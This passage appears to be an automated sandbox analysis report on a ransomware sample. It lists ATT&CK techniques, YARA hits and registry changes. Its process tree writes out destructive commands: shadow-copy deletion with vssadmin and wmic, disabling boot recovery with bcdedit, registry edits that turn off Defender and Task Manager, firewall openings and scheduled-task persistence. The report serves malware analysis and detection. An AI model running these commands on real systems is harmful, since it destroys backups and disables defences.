blackmatter | ce124207df8bced243ae660675383cb8792d6ebc4190a7d43287719cb3932aed

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	svchost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects command variations typically used by ransomware 2 IoCs

resource	yara_rule
behavioral2/memory/5724-0-0x0000000000020000-0x000000000003E000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware
behavioral2/files/0x000700000001b853-15.dat	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables containing commands for clearing Windows Event Logs 2 IoCs

resource	yara_rule
behavioral2/memory/5724-0-0x0000000000020000-0x000000000003E000-memory.dmp	INDICATOR_SUSPICIOUS_ClearWinLogs
behavioral2/files/0x000700000001b853-15.dat	INDICATOR_SUSPICIOUS_ClearWinLogs

Detects executables containing many references to VEEAM. Observed in ransomware 2 IoCs

resource	yara_rule
behavioral2/memory/5724-0-0x0000000000020000-0x000000000003E000-memory.dmp	INDICATOR_SUSPICOUS_EXE_References_VEEAM
behavioral2/files/0x000700000001b853-15.dat	INDICATOR_SUSPICOUS_EXE_References_VEEAM

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/5724-0-0x0000000000020000-0x000000000003E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000700000001b853-15.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 2 IoCs

resource	yara_rule
behavioral2/memory/5724-0-0x0000000000020000-0x000000000003E000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000700000001b853-15.dat	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2196	bcdedit.exe
5384	bcdedit.exe
6020	bcdedit.exe
3336	bcdedit.exe
2128	bcdedit.exe
3616	bcdedit.exe

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "C:\\Windows\\System32\\cmd.exe"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"	svchost.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3108	wbadmin.exe
5156	wbadmin.exe

Disables Task Manager via registry modification
defense_evasion

Executes dropped EXE 2 IoCs

pid	Process
4852	svchost.exe
4656	svchost.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\taskmgr.exe	svchost.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\YGG9vUtnH.bmp"	svchost.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
796	sc.exe
2068	sc.exe
1564	sc.exe
3880	sc.exe
2132	sc.exe
2508	sc.exe
2972	sc.exe
1320	sc.exe
308	sc.exe
5388	sc.exe
4360	sc.exe
5076	sc.exe
2500	sc.exe
4188	sc.exe
1708	sc.exe
712	sc.exe
1648	sc.exe
5940	sc.exe
4460	sc.exe
5384	sc.exe
4824	sc.exe
5504	sc.exe
4144	sc.exe
3020	sc.exe
1380	sc.exe
1488	sc.exe
1096	sc.exe
3816	sc.exe
1660	sc.exe
3096	sc.exe
3296	sc.exe
620	sc.exe
3188	sc.exe
1808	sc.exe
3800	sc.exe
1172	sc.exe
2796	sc.exe
5172	sc.exe
3140	sc.exe
4456	sc.exe
1320	sc.exe
2196	sc.exe
3956	sc.exe
464	sc.exe
3252	sc.exe
3804	sc.exe
4920	sc.exe
4868	sc.exe
5860	sc.exe
4620	sc.exe
4124	sc.exe
4672	sc.exe
5616	sc.exe
2932	sc.exe
408	sc.exe
5788	sc.exe
4340	sc.exe
5896	sc.exe
4964	sc.exe
4768	sc.exe
6052	sc.exe
3176	sc.exe
2452	sc.exe
1632	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3316	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5032	cmd.exe
4228	cmd.exe
1152	cmd.exe
244	cmd.exe
5396	cmd.exe
4968	cmd.exe
3852	cmd.exe
4232	cmd.exe
1552	cmd.exe
4768	cmd.exe
2988	cmd.exe
5832	cmd.exe
5728	cmd.exe
4628	cmd.exe
5000	cmd.exe
4704	cmd.exe
3608	cmd.exe
6112	cmd.exe
1492	cmd.exe
3744	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Delays execution with timeout.exe 9 IoCs

pid	Process
4772	timeout.exe
3332	timeout.exe
2104	timeout.exe
2244	timeout.exe
4632	timeout.exe
4124	timeout.exe
2844	timeout.exe
1060	timeout.exe
4652	timeout.exe

Discovers systems in the same network 1 TTPs 1 IoCs

discovery

Remote System Discovery

T1018

pid	Process
596	net.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
2892	vssadmin.exe
3964	vssadmin.exe
4680	vssadmin.exe

Kills process with taskkill 7 IoCs

pid	Process
3692	taskkill.exe
3280	taskkill.exe
4900	taskkill.exe
3804	taskkill.exe
5172	taskkill.exe
5540	taskkill.exe
2480	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2468	schtasks.exe
2600	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
Token: SeDebugPrivilege	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
Token: SeTcbPrivilege	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
Token: SeSecurityPrivilege	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
Token: SeTakeOwnershipPrivilege	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
Token: SeDebugPrivilege	4852	svchost.exe
Token: SeDebugPrivilege	4852	svchost.exe
Token: SeTcbPrivilege	4852	svchost.exe
Token: SeSecurityPrivilege	4852	svchost.exe
Token: SeTakeOwnershipPrivilege	4852	svchost.exe
Token: SeDebugPrivilege	4852	svchost.exe
Token: SeTcbPrivilege	4852	svchost.exe
Token: SeSecurityPrivilege	4852	svchost.exe
Token: SeTakeOwnershipPrivilege	4852	svchost.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeBackupPrivilege	1604	vssvc.exe
Token: SeRestorePrivilege	1604	vssvc.exe
Token: SeAuditPrivilege	1604	vssvc.exe
Token: SeDebugPrivilege	4656	svchost.exe
Token: SeDebugPrivilege	4656	svchost.exe
Token: SeTcbPrivilege	4656	svchost.exe
Token: SeSecurityPrivilege	4656	svchost.exe
Token: SeTakeOwnershipPrivilege	4656	svchost.exe
Token: SeIncreaseQuotaPrivilege	5476	WMIC.exe
Token: SeSecurityPrivilege	5476	WMIC.exe
Token: SeTakeOwnershipPrivilege	5476	WMIC.exe
Token: SeLoadDriverPrivilege	5476	WMIC.exe
Token: SeSystemProfilePrivilege	5476	WMIC.exe
Token: SeSystemtimePrivilege	5476	WMIC.exe
Token: SeProfSingleProcessPrivilege	5476	WMIC.exe
Token: SeIncBasePriorityPrivilege	5476	WMIC.exe
Token: SeCreatePagefilePrivilege	5476	WMIC.exe
Token: SeBackupPrivilege	5476	WMIC.exe
Token: SeRestorePrivilege	5476	WMIC.exe
Token: SeShutdownPrivilege	5476	WMIC.exe
Token: SeDebugPrivilege	5476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5476	WMIC.exe
Token: SeRemoteShutdownPrivilege	5476	WMIC.exe
Token: SeUndockPrivilege	5476	WMIC.exe
Token: SeManageVolumePrivilege	5476	WMIC.exe
Token: 33	5476	WMIC.exe
Token: 34	5476	WMIC.exe
Token: 35	5476	WMIC.exe
Token: 36	5476	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5476	WMIC.exe
Token: SeSecurityPrivilege	5476	WMIC.exe
Token: SeTakeOwnershipPrivilege	5476	WMIC.exe
Token: SeLoadDriverPrivilege	5476	WMIC.exe
Token: SeSystemProfilePrivilege	5476	WMIC.exe
Token: SeSystemtimePrivilege	5476	WMIC.exe
Token: SeProfSingleProcessPrivilege	5476	WMIC.exe
Token: SeIncBasePriorityPrivilege	5476	WMIC.exe
Token: SeCreatePagefilePrivilege	5476	WMIC.exe
Token: SeBackupPrivilege	5476	WMIC.exe
Token: SeRestorePrivilege	5476	WMIC.exe
Token: SeShutdownPrivilege	5476	WMIC.exe
Token: SeDebugPrivilege	5476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5476	WMIC.exe
Token: SeRemoteShutdownPrivilege	5476	WMIC.exe
Token: SeUndockPrivilege	5476	WMIC.exe
Token: SeManageVolumePrivilege	5476	WMIC.exe
Token: 33	5476	WMIC.exe
Token: 34	5476	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5724 wrote to memory of 4704	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe	88
PID 5724 wrote to memory of 4968	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe	89
PID 5724 wrote to memory of 2988	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe	92
PID 4704 wrote to memory of 4124	4704	cmd.exe	94
PID 2988 wrote to memory of 2844	2988	cmd.exe	95
PID 4968 wrote to memory of 1060	4968	cmd.exe	96
PID 5724 wrote to memory of 4852	5724	2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe	97
PID 4852 wrote to memory of 5032	4852	svchost.exe	98
PID 4852 wrote to memory of 3744	4852	svchost.exe	99
PID 4852 wrote to memory of 3852	4852	svchost.exe	100
PID 5032 wrote to memory of 4772	5032	cmd.exe	104
PID 3852 wrote to memory of 3332	3852	cmd.exe	105
PID 3744 wrote to memory of 2104	3744	cmd.exe	106
PID 4852 wrote to memory of 4400	4852	svchost.exe	107
PID 4852 wrote to memory of 2136	4852	svchost.exe	109
PID 4852 wrote to memory of 2468	4852	svchost.exe	111
PID 4852 wrote to memory of 2892	4852	svchost.exe	113
PID 4852 wrote to memory of 4232	4852	svchost.exe	118
PID 4656 wrote to memory of 5832	4656	svchost.exe	121
PID 4656 wrote to memory of 5728	4656	svchost.exe	122
PID 4656 wrote to memory of 4228	4656	svchost.exe	123
PID 4232 wrote to memory of 3964	4232	cmd.exe	303
PID 4232 wrote to memory of 5476	4232	cmd.exe	128
PID 5728 wrote to memory of 4652	5728	cmd.exe	129
PID 5832 wrote to memory of 2244	5832	cmd.exe	130
PID 4228 wrote to memory of 4632	4228	cmd.exe	131
PID 4852 wrote to memory of 1152	4852	svchost.exe	133
PID 1152 wrote to memory of 2196	1152	cmd.exe	135
PID 1152 wrote to memory of 5384	1152	cmd.exe	340
PID 4852 wrote to memory of 6020	4852	svchost.exe	137
PID 4852 wrote to memory of 3336	4852	svchost.exe	139
PID 4852 wrote to memory of 4752	4852	svchost.exe	141
PID 4752 wrote to memory of 4112	4752	net.exe	143
PID 4852 wrote to memory of 1552	4852	svchost.exe	144
PID 1552 wrote to memory of 3108	1552	cmd.exe	322
PID 4852 wrote to memory of 3692	4852	svchost.exe	150
PID 4852 wrote to memory of 3280	4852	svchost.exe	152
PID 4852 wrote to memory of 4900	4852	svchost.exe	154
PID 4852 wrote to memory of 3804	4852	svchost.exe	207
PID 4852 wrote to memory of 5172	4852	svchost.exe	339
PID 4852 wrote to memory of 5540	4852	svchost.exe	160
PID 4852 wrote to memory of 2480	4852	svchost.exe	395
PID 4852 wrote to memory of 828	4852	svchost.exe	164
PID 4852 wrote to memory of 3160	4852	svchost.exe	305
PID 4852 wrote to memory of 3136	4852	svchost.exe	166
PID 4852 wrote to memory of 1148	4852	svchost.exe	169
PID 4852 wrote to memory of 5836	4852	svchost.exe	172
PID 4852 wrote to memory of 4260	4852	svchost.exe	173
PID 4852 wrote to memory of 2488	4852	svchost.exe	309
PID 4852 wrote to memory of 5852	4852	svchost.exe	177
PID 4852 wrote to memory of 3408	4852	svchost.exe	391
PID 4852 wrote to memory of 4792	4852	svchost.exe	179
PID 4852 wrote to memory of 2764	4852	svchost.exe	183
PID 4852 wrote to memory of 1260	4852	svchost.exe	185
PID 4852 wrote to memory of 5584	4852	svchost.exe	187
PID 4852 wrote to memory of 320	4852	svchost.exe	190
PID 4852 wrote to memory of 5740	4852	svchost.exe	191
PID 4852 wrote to memory of 5156	4852	svchost.exe	193
PID 4852 wrote to memory of 4012	4852	svchost.exe	196
PID 4852 wrote to memory of 968	4852	svchost.exe	469
PID 4852 wrote to memory of 3608	4852	svchost.exe	353
PID 4852 wrote to memory of 244	4852	svchost.exe	203
PID 4852 wrote to memory of 6112	4852	svchost.exe	205
PID 4852 wrote to memory of 4628	4852	svchost.exe	208

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "C:\\Windows\\System32\\cmd.exe"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-22_c70589f3a1859e8286d79ebc253af8fc_destroyer_elex_glassworm_lockbit_wannacry.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_Rn3tJeGI.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_VofUkEOv.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_IJ8fpdYx.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2844
- C:\Users\Admin\AppData\Local\svchost.exe
  "C:\Users\Admin\AppData\Local\svchost.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Blocks application from running via registry modification
  - Executes dropped EXE
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4852
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_A5iqMQTJ.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4772
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_DRtMxC6T.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2104
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_MrbU6eyx.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 135" -Direction Inbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 135" -Direction Outbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn UpdateTaskcnIjzs /tr "C:\Users\Admin\AppData\Local\svchost.exe" /sc onlogon /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2468
- - C:\Windows\SYSTEM32\vssadmin.exe
    "vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2892
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3964
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5476
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1152
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
